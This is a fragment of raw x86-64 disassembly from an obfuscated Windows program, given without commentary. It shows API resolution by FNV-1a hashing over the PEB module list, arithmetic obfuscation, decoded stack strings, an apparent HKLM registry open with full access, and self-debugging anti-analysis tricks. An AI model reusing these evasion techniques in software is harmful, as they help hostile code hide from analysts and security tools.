movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea esi, [rcx + rdx]
sub sil, 0x42
mov qword [rbp - 0x48], rsi
movzx eax, sil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401376f2
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea edx, [rax + rax]
add dl, cl
add dl, r8b
movabs rcx, 0x2278d47780a346ea
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x66
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x580], al
add r10, r15
add rax, r10
sub r9, rax
mov qword [rbp - 0x48], rdx
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x580], r8b
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
mov rsi, rdx
jmp 0x1401376e3
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea esi, [rdx + rcx]
sub sil, 0x16
mov qword [rbp - 0x48], rsi
movzx eax, byte [rbp + r9 + 0x580]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140136b3c
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x7a
mov qword [rbp - 0x48], rsi
jmp 0x140136b37
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x16
mov qword [rbp - 0x48], rsi
jmp 0x140136b27
lea r12, [rbp + 0x145e328]
jmp 0x140137763
lea r12, [rbp + 0x136aa66]
jmp 0x140137763
lea r12, [rbp + 0x580]
mov r10, qword [0x1404fc178]
xor eax, eax
test r10, r10
jne 0x1401378d6
mov esi, eax
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401377e4
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401377d6
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401377c5
cmp r8d, esi
jne 0x1401378b6
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1401378b6
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401378b6
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140137838
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013782d
cmp edx, r14d
je 0x14013784e
test r10d, r10d
jne 0x140137818
jmp 0x1401378b6
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1401378cd
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x1401378cd
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401378a9
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdx
jmp 0x140137885
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdx
mov al, byte [r10]
test al, al
jne 0x14013789c
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401378ca
cmp qword [rbx + 0x30], rax
jne 0x140137794
mov r10, rax
mov qword [0x1404fc178], r10
xor eax, eax
mov qword [rsp + 0x40], rax
lea rcx, [0x1404fba68]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
xor eax, eax
test rdx, rdx
jne 0x140137a7d
mov esi, eax
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r13w
mov word [rsp + 0x58], ax
test esi, esi
je 0x14013798a
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x14013797c
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x14013796b
cmp r9d, esi
jne 0x140137a6a
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140137a6a
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140137a6a
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec ebx
lea r8, [r10 + rbx*4]
mov r9d, dword [r8 + rdi]
add r9, r10
mov r8d, 0x811c9dc5
jmp 0x1401379e5
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x1401379d8
cmp r8d, r14d
je 0x1401379fa
test ebx, ebx
jne 0x1401379c3
jmp 0x140137a6a
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x140137a72
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x140137a72
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140137a3b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140137a2d
jmp 0x140137a50
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140137a43
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x14013793a
mov qword [0x1404fc118], rdx
mov r13, qword [rbp - 0x58]
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
xor eax, eax
test rbx, rbx
jne 0x140137bf3
mov esi, eax
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140137b05
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140137af7
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140137ae6
cmp r8d, esi
jne 0x140137bd5
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140137bd5
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140137bd5
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140137b59
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140137b4e
cmp edx, r14d
je 0x140137b6f
test r11d, r11d
jne 0x140137b39
jmp 0x140137bd5
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x140137bec
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x140137bec
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x140137bc9
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x140137ba6
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x140137bbc
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x140137be9
cmp qword [rbx + 0x30], rax
jne 0x140137ab5
mov rbx, rax
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
xor eax, eax
test rdx, rdx
jne 0x140137d6f
mov esi, eax
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140137c81
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140137c73
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140137c62
cmp r8d, esi
jne 0x140137d51
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140137d51
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140137d51
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140137cd5
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140137cca
cmp edx, r14d
je 0x140137ceb
test r11d, r11d
jne 0x140137cb5
jmp 0x140137d51
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140137d68
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140137d68
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140137d45
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140137d22
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140137d38
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x140137d65
cmp qword [rbx + 0x30], rax
jne 0x140137c31
mov rdx, rax
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
xor eax, eax
test rdx, rdx
jne 0x140137ee2
mov esi, eax
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140137df4
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140137de6
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140137dd5
cmp r8d, esi
jne 0x140137ec4
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140137ec4
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140137ec4
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140137e48
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140137e3d
cmp edx, r14d
je 0x140137e5e
test r11d, r11d
jne 0x140137e28
jmp 0x140137ec4
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140137edb
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140137edb
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140137eb8
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140137e95
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140137eab
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x140137ed8
cmp qword [rbx + 0x30], rax
jne 0x140137da4
mov rdx, rax
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
xor eax, eax
test rdx, rdx
jne 0x140138055
mov esi, eax
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140137f67
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140137f59
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140137f48
cmp r8d, esi
jne 0x140138037
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140138037
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140138037
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140137fbb
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140137fb0
cmp edx, r14d
je 0x140137fd1
test r11d, r11d
jne 0x140137f9b
jmp 0x140138037
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14013804e
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14013804e
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x14013802b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140138008
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x14013801e
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x14013804b
cmp qword [rbx + 0x30], rax
jne 0x140137f17
mov rdx, rax
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
xor eax, eax
cmp qword [0x1404fc138], rax
jne 0x1401381c7
mov esi, eax
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401380d7
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401380c9
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401380b8
cmp r8d, esi
jne 0x1401381a9
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1401381a9
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401381a9
mov edi, dword [r11 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14013812b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140138120
cmp edx, r14d
je 0x140138141
test r9d, r9d
jne 0x14013810b
jmp 0x1401381a9
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x1401381c0
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x1401381c0
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x14013819c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x140138178
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x14013818f
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401381bd
cmp qword [rbx + 0x30], rax
jne 0x140138087
mov r9, rax
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x14013823e
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r9d, 0x811c9dc5
cmp rcx, rdx
je 0x140138224
movsx eax, byte [rcx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140138205
cmp r9d, 0x610c0de3
je 0x140138294
mov r8, qword [r8]
xor eax, eax
cmp r8, r10
je 0x140138234
cmp qword [r8 + 0x30], rax
jne 0x1401381ea
mov r8, rax
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
xor eax, eax
mov r9d, eax
mov r11d, dword [r10 + r8 + 0x20]
lea edi, [rax + 1]
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rdi
test al, al
je 0x14013828f
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rdi
test al, al
jne 0x140138273
cmp ecx, 0xe463da3c
je 0x14013829a
add r9d, edi
jmp 0x140138257
mov r8, qword [r8 + 0x30]
jmp 0x140138237
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
xor eax, eax
test r10, r10
jne 0x140138434
mov esi, eax
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14013833f
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140138331
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140138320
cmp r8d, esi
jne 0x140138411
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140138411
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140138411
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [rdi + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140138393
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140138388
cmp edx, r14d
je 0x1401383a9
test r10d, r10d
jne 0x140138373
jmp 0x140138411
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x140138428
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x140138428
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140138404
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdi
jmp 0x1401383e0
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdi
mov al, byte [r10]
test al, al
jne 0x1401383f7
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x140138425
cmp qword [rbx + 0x30], rax
jne 0x1401382ef
mov r10, rax
mov qword [0x1404fba00], r10
mov edi, 1
lea r9, [rbp + 0x11a0]
mov r8d, edi
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
xor eax, eax
test r8, r8
jne 0x1401385ba
mov esi, eax
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401384ca
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401384bc
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401384ab
cmp r8d, esi
jne 0x14013859c
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013859c
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013859c
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013851e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140138513
cmp edx, r14d
je 0x140138534
test r11d, r11d
jne 0x1401384fe
jmp 0x14013859c
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x1401385b3
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x1401385b3
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x14013858f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rdi
jmp 0x14013856b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdi
mov al, byte [r8]
test al, al
jne 0x140138582
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401385b0
cmp qword [rbx + 0x30], rax
jne 0x14013847a
mov r8, rax
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov rdi, qword [rbp - 0x50]
mov rsi, qword [rbp - 0x48]
mov r14, qword [rbp - 0x68]
mov r12, qword [rbp - 8]
mov edx, dword [rsp + 0x68]
inc edx
mov dword [rsp + 0x68], edx
add qword [rbp - 0x18], 0x28
mov rax, qword [rbp - 0x20]
movzx eax, word [rax + 6]
cmp edx, eax
mov r15, qword [rbp - 0x10]
jl 0x1401324dc
mov r15d, 1
or r12, 0xffffffffffffffff
mov ebx, 0xfa
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x11d0], xmm0
mov qword [rbp + 0x11e0], rax
xor edx, edx
lea r8d, [rax + 0x68]
lea rcx, [rbp + 0x11f0]
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov r8d, 0xb0
lea rcx, [rbp + 0x1260]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x11f0]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp + 0x11d0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11f0]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov r8d, 0x10002
mov edx, dword [rbp + 0x11e4]
mov ecx, dword [rbp + 0x11e0]
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
or edx, 0xffffffff
lea rcx, [rbp + 0x1260]
call qword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
sub rbx, r15
jne 0x140138613
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rsi, rax
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1180], xmm0
mov qword [rbp + 0x1190], rax
mov byte [rbp + 0x340], WSACleanup
mov byte [rbp + 0x341], 0x75
mov byte [rbp + 0x342], 0x66
mov byte [rbp + 0x343], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x344], 0x68
mov byte [rbp + 0x345], Ordinal_46
mov byte [rbp + 0x346], 0x62
mov byte [rbp + 0x347], WSASetLastError
mov byte [rbp + 0x348], 0x64
mov byte [rbp + 0x349], 9
mov dword [rbp + 0x34a], eax
mov word [rbp + 0x34e], ax
mov byte [rbp + 0x350], al
movabs r14, 0x4f724e3b7386880
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r9, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x11
jae 0x140138d65
movzx r8d, byte [rbp + r10 + 0x340]
mov edx, r8d
cmp rbx, r10
ja 0x140138d5c
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401387ae
lea rcx, [r10 + r14]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x80
jmp 0x1401387c1
je 0x140138cfb
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140138cae
cmp r9, r10
ja 0x140138d53
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401387f6
movabs rcx, 0x684606ae07a09280
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x80
add dil, cl
jmp 0x140138809
je 0x140138c64
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140138c44
lea rax, [rbx + r9]
cmp rax, r10
jbe 0x1401388b4
lea rax, [r9 + 0x400]
cmp rbx, rax
je 0x140138895
